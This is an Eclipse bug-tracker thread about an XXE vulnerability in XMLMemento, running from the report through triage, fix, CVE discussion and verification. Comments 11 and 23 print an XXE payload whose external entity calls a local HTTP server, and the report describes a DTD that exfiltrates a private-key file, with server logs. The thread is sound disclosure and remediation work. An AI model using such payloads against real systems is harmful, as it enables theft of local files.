Bug 577341 - Security Issue -- Applications using XMLMemento are vulnerable to XXE Attack
Summary: Security Issue -- Applications using XMLMemento are vulnerable to XXE Attack
Status: VERIFIED FIXED
Alias: None
Product: Platform
Classification: Eclipse Project
Component: Debug (show other bugs)
Version: 4.15   Edit
Hardware: PC Linux
: P3 critical (vote)
Target Milestone: 4.23 M1   Edit
Assignee: Sarika Sinha CLA
QA Contact:
URL:
Whiteboard:
Keywords: security
Depends on:
Blocks:
 
Reported: 2021-11-18 12:24 EST by Srijith Raman CLA
Modified: 2024-03-01 01:16 EST (History)
10 users (show)

See Also:


Attachments
Recreation sample (1.48 KB, application/x-zip-compressed)
2021-11-18 12:24 EST, Srijith Raman CLA
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description Srijith Raman CLA 2021-11-18 12:24:47 EST
Created attachment 287543 [details]
Recreation sample

Hi Team, 

When a Java program uses XMLMemento class (org.eclipse.debug.internal.core.XMLMemento) 
to read an XML file, that contains a XML DOCTYPE declaration, 
it is possible to send local file data to a server when the DOCTYPE is referring to an external DTD. 

In the attachment I have provided the following :-
TestXMLMementoXXE.java : Program that uses XMLMemento to read an XML file Test.xml
Test.xml : Example XML file with DOCTYPE declaration which uses external DTD
MyExternal.dtd : Uses Parameter Entity to perform XXE attack by reading contents of a local file called MyPrivateKey.txt and sending it to server 
MyPrivateKey.txt : Local file that contains some secret data "ThisIsMyPrivateKey0000000007"

When the Java program TestXMLMementoXXE is run, it would read the contents of secret file MyPrivateKey.txt and send it to server ( e.g : http://localhost:8000/)


$ python3 -m http.server 8000 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [11/Nov/2021 11:12:39] "GET /?ThisIsMyPrivateKey0000000007 HTTP/1.1" 200 -

As you can see secret data is appended to URL and data is seen on server


Our applications uses 
Eclipse SDK 4.15 and 4.7.3

Can you please fix XMLMemento parsing to prevent such attacks. 

Thanks 
Sri
Comment 1 Wim Jongman CLA 2021-11-18 15:25:27 EST
(In reply to Srijith Raman from comment #0)

That is a nice catch, Sri! How did you find this?

Mementos are mostly stored in the workspace thus the attacker must have access to the filesystem.

One place where IMemento objects can be created is during the Part saveState methods in views and editors. I guess the attacker can cast an IMemento to XMLMemento and maybe get access to the internal state of the XML. 

The IMemento objects are offered back to the part during initialization via the init(..) method. I expect they are not parsed before they are accessed   

The attacker would only use this method if they have no access to the filesystem but can, in some way, provide the spoofed documents.

When can this lead to a practical attack? How can such a spoofed XML be inserted in the filesystem of the victim? 

Are there other places where IMemento/XMLMemento is used?

Do you have a patch in mind?

There also exists an org.eclipse.ui.XMLMemento class in org.eclipse.ui.workbench and Mylyn also seems to carry a copy.
Comment 2 Kalyan Prasad Tatavarthi CLA 2021-11-21 23:46:55 EST
Moving to Platform Debug as XMLMemento class (org.eclipse.debug.internal.core.XMLMemento) is from Platform Debug
Comment 3 Kalyan Prasad Tatavarthi CLA 2021-11-22 00:01:20 EST
Moving to Platform Debug as XMLMemento class (org.eclipse.debug.internal.core.XMLMemento) is from Platform Debug(In reply to Wim Jongman from comment #1)
> (In reply to Srijith Raman from comment #0)
> 
> That is a nice catch, Sri! How did you find this?
> 
> Mementos are mostly stored in the workspace thus the attacker must have
> access to the filesystem.
> 
> One place where IMemento objects can be created is during the Part saveState
> methods in views and editors. I guess the attacker can cast an IMemento to
> XMLMemento and maybe get access to the internal state of the XML. 
> 
> The IMemento objects are offered back to the part during initialization via
> the init(..) method. I expect they are not parsed before they are accessed   
> 
> The attacker would only use this method if they have no access to the
> filesystem but can, in some way, provide the spoofed documents.
> 
> When can this lead to a practical attack? How can such a spoofed XML be
> inserted in the filesystem of the victim? 
> 
> Are there other places where IMemento/XMLMemento is used?
> 
> Do you have a patch in mind?
> 
> There also exists an org.eclipse.ui.XMLMemento class in
> org.eclipse.ui.workbench and Mylyn also seems to carry a copy.

As specified in the comment above, the XMLMemento class is also present in Platform UI.
Comment 4 Sarika Sinha CLA 2021-11-22 01:33:02 EST
We tried adding the factory property to set the secure processing by :
DocumentBuilderFactory factory = DocumentBuilderFactory
					.newInstance();
			factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

After this file access of external DTD file is restricted and we get the following error :
[Fatal Error] :2:122: External DTD: Failed to read external DTD 'MyExternal.dtd', because 'file' access is not allowed due to restriction set by the accessExternalDTD property.
java.lang.Exception: External DTD: Failed to read external DTD 'MyExternal.dtd', because 'file' access is not allowed due to restriction set by the accessExternalDTD property.
	at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:120)
	at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:61)
	at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18)
Caused by: org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 122; External DTD: Failed to read external DTD 'MyExternal.dtd', because 'file' access is not allowed due to restriction set by the accessExternalDTD property.
	at java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:261)
	at java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:339)
	at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:93)
	... 2 more


Is this sufficient ?
There are couple of more attributes like XMLConstants.ACCESS_EXTERNAL_DTD, should we use these attributes to specify and restrict the access?

@Wim, 
Do you have any idea on this?

Also we will have to move XMLMemento to a common place so that cor and UI both can extend from there.
I see JDT UI and JDT Debug also using XMLMemento in other forms.
Comment 5 Sarika Sinha CLA 2021-11-22 08:04:25 EST
Rather than restricting the access to the external identity , we can restrict the access  to only "file" protocol. after doing that , running the attached project gives the following error:
[Fatal Error] :4:37: External Entity: Failed to read external document '?ThisIsMyPrivateKey0000000007
', because 'http' access is not allowed due to restriction set by the accessExternalDTD property.
java.lang.Exception: External Entity: Failed to read external document '?ThisIsMyPrivateKey0000000007
', because 'http' access is not allowed due to restriction set by the accessExternalDTD property.
	at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:130)
	at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60)
	at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18)
Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37; External Entity: Failed to read external document '?ThisIsMyPrivateKey0000000007
', because 'http' access is not allowed due to restriction set by the accessExternalDTD property.
	at java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:261)
	at java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:339)
	at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:103)
	... 2 more


Attaching the gerrit with System property change.
Comment 6 Eclipse Genie CLA 2021-11-22 08:05:58 EST
New Gerrit change created: https://git.eclipse.org/r/c/platform/eclipse.platform.debug/+/187978
Comment 7 Sarika Sinha CLA 2021-11-22 08:26:52 EST
Using Eclipse itself does not appear to be vulnerable, but the applications built on eclipse using XMLMemento can open up XXE attack opportunities.
Comment 8 Jörg Kubitz CLA 2021-11-22 09:15:29 EST
see Java API for XML Processing (JAXP) Security Guide
https://docs.oracle.com/en/java/javase/17/security/java-api-xml-processing-jaxp-security-guide.htm
Comment 9 Srijith Raman CLA 2021-11-22 09:43:22 EST
(In reply to Wim Jongman from comment #1)
> (In reply to Srijith Raman from comment #0)
> 
> That is a nice catch, Sri! How did you find this?
> 
> Mementos are mostly stored in the workspace thus the attacker must have
> access to the filesystem.
> 
> One place where IMemento objects can be created is during the Part saveState
> methods in views and editors. I guess the attacker can cast an IMemento to
> XMLMemento and maybe get access to the internal state of the XML. 
> 
> The IMemento objects are offered back to the part during initialization via
> the init(..) method. I expect they are not parsed before they are accessed   
> 
> The attacker would only use this method if they have no access to the
> filesystem but can, in some way, provide the spoofed documents.
> 
> When can this lead to a practical attack? How can such a spoofed XML be
> inserted in the filesystem of the victim? 
> 
> Are there other places where IMemento/XMLMemento is used?
> 
> Do you have a patch in mind?
> 
> There also exists an org.eclipse.ui.XMLMemento class in
> org.eclipse.ui.workbench and Mylyn also seems to carry a copy.

You are correct. In order to exploit this vulnerability Attacker must have access to filesystem. 

I have found the XMLMemento Class in the following jars. But not sure if it is used in any other jars. 
org.eclipse.ui.workbench_3.118.1.v20200327-1111.jar
org.eclipse.debug.core_3.15.0.v20200224-0654.jar

Practical attack would be when application shares exported settings xml between machines. 

In our application we have a temporary workaround by pre-screening xml. 
But it needs to be fixed in the source, which is XMLMemento.
Comment 10 Wim Jongman CLA 2021-11-22 09:44:45 EST
(In reply to Jörg Kubitz from comment #8)
> see Java API for XML Processing (JAXP) Security Guide
> https://docs.oracle.com/en/java/javase/17/security/java-api-xml-processing-
> jaxp-security-guide.htm

https://docs.oracle.com/en/java/javase/17/security/java-api-xml-processing-jaxp-security-guide.html

;)
Comment 11 Srijith Raman CLA 2021-11-22 10:03:59 EST
(In reply to Sarika Sinha from comment #5)
> Rather than restricting the access to the external identity , we can
> restrict the access  to only "file" protocol. after doing that , running the
> attached project gives the following error:
> [Fatal Error] :4:37: External Entity: Failed to read external document
> '?ThisIsMyPrivateKey0000000007
> ', because 'http' access is not allowed due to restriction set by the
> accessExternalDTD property.
> java.lang.Exception: External Entity: Failed to read external document
> '?ThisIsMyPrivateKey0000000007
> ', because 'http' access is not allowed due to restriction set by the
> accessExternalDTD property.
> 	at
> org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:
> 130)
> 	at
> org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60)
> 	at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18)
> Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37;
> External Entity: Failed to read external document
> '?ThisIsMyPrivateKey0000000007
> ', because 'http' access is not allowed due to restriction set by the
> accessExternalDTD property.
> 	at
> java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.
> parse(DOMParser.java:261)
> 	at
> java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.
> parse(DocumentBuilderImpl.java:339)
> 	at
> org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:
> 103)
> 	... 2 more
> 
> 
> Attaching the gerrit with System property change.


My test case just provides an example of one of the type of XXE attack. 
There could be other types of XXE attack. 

Below is an example of another simple case.
For example, Parsing the following XML should avoid sending "SomeSecretData" string to server. 
-------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE TestElement [ <!ENTITY % pVariablename1 SYSTEM "http://localhost:8000/SomeSecretData"> %pVariablename1; ]>
<Categories> 
</Categories>
-------------
But currently it does send as seen below:
$python3 -m http.server 8000 
127.0.0.1 - - [22/Nov/2021 06:14:10] "GET /SomeSecretData HTTP/1.1" 404 -

If the proposed fix prevents my previous test case and this current test case, then we can be fairly sure that data will not leave the system.
Comment 12 Srijith Raman CLA 2021-11-24 04:08:27 EST
(In reply to Sarika Sinha from comment #5)
> Rather than restricting the access to the external identity , we can
> restrict the access  to only "file" protocol. after doing that , running the
> attached project gives the following error:
> [Fatal Error] :4:37: External Entity: Failed to read external document
> '?ThisIsMyPrivateKey0000000007
> ', because 'http' access is not allowed due to restriction set by the
> accessExternalDTD property.
> java.lang.Exception: External Entity: Failed to read external document
> '?ThisIsMyPrivateKey0000000007
> ', because 'http' access is not allowed due to restriction set by the
> accessExternalDTD property.
> 	at
> org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:
> 130)
> 	at
> org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60)
> 	at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18)
> Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37;
> External Entity: Failed to read external document
> '?ThisIsMyPrivateKey0000000007
> ', because 'http' access is not allowed due to restriction set by the
> accessExternalDTD property.
> 	at
> java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.
> parse(DOMParser.java:261)
> 	at
> java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.
> parse(DocumentBuilderImpl.java:339)
> 	at
> org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:
> 103)
> 	... 2 more
> 
> 
> Attaching the gerrit with System property change.

Hi, 
Do you have a CVE number for this ?
We need that information for our internal process.
Thanks
Comment 13 Wayne Beaton CLA 2021-11-24 13:53:52 EST
To assign a CVE, I first need to know when you intend to disclose (i.e., when do you want to tell everybody?). Then, I'll need a committer to provide the identity of the specific product ("Eclipse Platform Debug"?), a one or two sentence description of the vulnerability, the classification (CWE), and affected version range.

For CWE, I'm thinking:

https://cwe.mitre.org/data/definitions/611.html

There's more information in the handbook [1].

[1] https://www.eclipse.org/projects/handbook/#vulnerability-cve
Comment 14 Sarika Sinha CLA 2021-11-25 04:04:06 EST
(In reply to Wayne Beaton from comment #13)
> To assign a CVE, I first need to know when you intend to disclose (i.e.,
> when do you want to tell everybody?). Then, I'll need a committer to provide
> the identity of the specific product ("Eclipse Platform Debug"?), a one or
> two sentence description of the vulnerability, the classification (CWE), and
> affected version range.
> 
> For CWE, I'm thinking:
> 
> https://cwe.mitre.org/data/definitions/611.html
> 
> There's more information in the handbook [1].
> 
> [1] https://www.eclipse.org/projects/handbook/#vulnerability-cve

We can release the fix after 4.23 master branch is open, that is next week. And possibly we can make this public then ?
Component - Platform Debug, Platform UI
CWE looks good - https://cwe.mitre.org/data/definitions/611.html
Affected version range - Git history of 12 years is not sufficient to know when was it added, possibly from the starting.
Current implementation of XMLMemento class in both the class does allow the usage of external dtd without any restrictions.
Comment 15 Thomas Wolf CLA 2021-11-25 04:48:09 EST
(In reply to Sarika Sinha from comment #14)
> We can release the fix after 4.23 master branch is open, that is next week.
> And possibly we can make this public then ?

When does one make public security issues? To the general user base, the fix will be available only once 4.23 is released (or a 4.22.1 that includes the fix is released). Before that, they'll just know that there is a problem, and that they'll have to live with it for another three months.
Comment 16 Sarika Sinha CLA 2021-11-25 07:06:46 EST
(In reply to Thomas Wolf from comment #15)
> (In reply to Sarika Sinha from comment #14)
> > We can release the fix after 4.23 master branch is open, that is next week.
> > And possibly we can make this public then ?
> 
> When does one make public security issues? To the general user base, the fix
> will be available only once 4.23 is released (or a 4.22.1 that includes the
> fix is released). Before that, they'll just know that there is a problem,
> and that they'll have to live with it for another three months.

@Wayne,
What do you suggest?
Comment 17 Wayne Beaton CLA 2021-12-02 15:56:17 EST
> What do you suggest?

The rule is that we must disclose after three months.

It's easy to fall into a mindset that the issues should not be disclosed until after a patch has been rolled out. That may well be the case.

We need to balance the value of disclosing it early enough that our users and adopters can know about it and set about mitigating the associated risk; and the danger of disclosing it and enabling somebody who might exploit the vulnerability learn about it and take advantage.

If the risk to our adopters is high, then I recommend quietly reaching out to as many of them as possible to let them know privately, before progressively disclosing the issue to larger audiences and ultimately issuing a CVE.

If the risk of exploitation is relatively low, just disclose it and issue the CVE.

So a judgement call is required. How real and dire is the risk to our adopters and users?
Comment 18 Eclipse Genie CLA 2021-12-10 12:23:14 EST
New Gerrit change created: https://git.eclipse.org/r/c/platform/eclipse.platform.debug/+/188754
Comment 20 Eclipse Genie CLA 2021-12-13 13:23:03 EST
New Gerrit change created: https://git.eclipse.org/r/c/platform/eclipse.platform.ui/+/188792
Comment 23 Sarika Sinha CLA 2021-12-15 04:27:42 EST
(In reply to Srijith Raman from comment #11)
> (In reply to Sarika Sinha from comment #5)
> > Rather than restricting the access to the external identity , we can
> > restrict the access  to only "file" protocol. after doing that , running the
> > attached project gives the following error:
> > [Fatal Error] :4:37: External Entity: Failed to read external document
> > '?ThisIsMyPrivateKey0000000007
> > ', because 'http' access is not allowed due to restriction set by the
> > accessExternalDTD property.
> > java.lang.Exception: External Entity: Failed to read external document
> > '?ThisIsMyPrivateKey0000000007
> > ', because 'http' access is not allowed due to restriction set by the
> > accessExternalDTD property.
> > 	at
> > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:
> > 130)
> > 	at
> > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60)
> > 	at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18)
> > Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37;
> > External Entity: Failed to read external document
> > '?ThisIsMyPrivateKey0000000007
> > ', because 'http' access is not allowed due to restriction set by the
> > accessExternalDTD property.
> > 	at
> > java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.
> > parse(DOMParser.java:261)
> > 	at
> > java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.
> > parse(DocumentBuilderImpl.java:339)
> > 	at
> > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:
> > 103)
> > 	... 2 more
> > 
> > 
> > Attaching the gerrit with System property change.
> 
> 
> My test case just provides an example of one of the type of XXE attack. 
> There could be other types of XXE attack. 
> 
> Below is an example of another simple case.
> For example, Parsing the following XML should avoid sending "SomeSecretData"
> string to server. 
> -------------
> <?xml version="1.0" encoding="UTF-8"?>
> <!DOCTYPE TestElement [ <!ENTITY % pVariablename1 SYSTEM
> "http://localhost:8000/SomeSecretData"> %pVariablename1; ]>
> <Categories> 
> </Categories>
> -------------
> But currently it does send as seen below:
> $python3 -m http.server 8000 
> 127.0.0.1 - - [22/Nov/2021 06:14:10] "GET /SomeSecretData HTTP/1.1" 404 -
> 
> If the proposed fix prevents my previous test case and this current test
> case, then we can be fairly sure that data will not leave the system.

The fix has been released and is available in the build 
https://download.eclipse.org/eclipse/downloads/drops4/I20211214-1800

We have tested both the scenarios mentioned.
Will you be able to test and confirm?
Based on that we can proceed to back port the fix to previous versions?
Comment 24 Sarika Sinha CLA 2021-12-19 12:56:30 EST
Bug 577892 has been created for the follow up refactoring.
Bug 577894 will track the back porting task.
Comment 25 Sarika Sinha CLA 2022-01-07 07:21:20 EST
I20211214-1800
Comment 26 Srijith Raman CLA 2022-01-31 05:52:55 EST
Hi Team, 
Thanks for the fix. 

Any update on CWE or CVE ?
Comment 27 Jörg Kubitz CLA 2023-06-07 03:10:03 EDT
SonarLint complains about many other uses of XML parser in Eclipse IDE.
https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8

The IDE contains hundreds of calls to DocumentBuilderFactory.newInstance();
Is there a specific reason that only a single usecase was fixed?
Comment 28 Sarika Sinha CLA 2023-06-16 02:43:17 EDT
I don't have access to the gitlab issue but I can add few details from this issue perspective: 
The scenarios mentioned by the user in this issue were taken up as the priority to fix. Not all the usages were found to be vulnerable specially if used from within Eclipse. And based on this only restriction to the "File" protocol was added to the DocumentBuilderFactory.
Comment 29 Marta Rybczynska CLA 2024-03-01 01:16:02 EST
Removed the committers-only flag as the issue has been fixed and is referenced in public materials